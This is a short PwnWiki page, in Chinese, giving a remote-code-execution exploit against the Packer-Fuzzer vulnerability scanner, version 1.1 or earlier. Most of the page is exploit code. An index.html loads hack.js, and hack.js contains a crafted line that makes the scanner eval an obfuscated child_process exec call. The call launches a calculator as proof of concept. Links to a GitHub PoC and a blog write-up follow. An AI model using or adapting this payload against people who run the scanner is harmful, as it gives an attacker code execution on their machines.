Packer-Fuzzer漏洞掃描工具RCE 0day

From PwnWiki

Revision as of 16:36, 24 May 2021 by Pwnwiki (talk | contribs) (Created page with "===影響版本=== v1.1或者以下版本 ==EXP== ===index.html=== <pre> <html> <noscript>naive!</noscript> <body> <script src="./hack.js"></script> </body...")

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

影響版本

v1.1或者以下版本

EXP

index.html

<html>
    <noscript>naive!</noscript>
    <body>
        <script src="./hack.js"></script>
    </body>
</html>

hack.js

document.createElement("script");
q.p+"";eval(decodeURI("require(%27child_process%27).e%78ec(%27mate-calc%27)"));//"{114514:;[s].js

參考

https://github.com/TomAPU/poc_and_exp/tree/master/Packer-Fuzzer-RCE

https://drivertom.blogspot.com/2021/01/packer-fuzzerrce-0day.html

Retrieved from "https://pwnwiki.com/index.php?title=Packer-Fuzzer漏洞掃描工具RCE_0day&oldid=3247"